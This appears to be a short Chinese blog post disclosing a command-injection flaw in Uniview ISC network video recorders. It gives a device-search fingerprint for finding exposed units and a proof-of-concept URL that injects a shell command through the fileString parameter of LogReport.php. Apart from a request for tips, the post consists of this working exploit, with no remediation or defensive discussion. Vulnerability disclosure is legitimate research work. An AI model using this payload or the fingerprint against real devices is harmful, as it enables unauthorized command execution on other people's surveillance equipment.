浙江宇视科技 网络视频录像机 ISC /Interface/LogReport/LogReport.php 页面,fileString 参数过滤不严格,导致攻击者可执行任意命令
浙江宇视科技 网络视频录像机 ISC
app="uniview-ISC"
登录页面
验证POC
/Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;id>1.txt
456 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!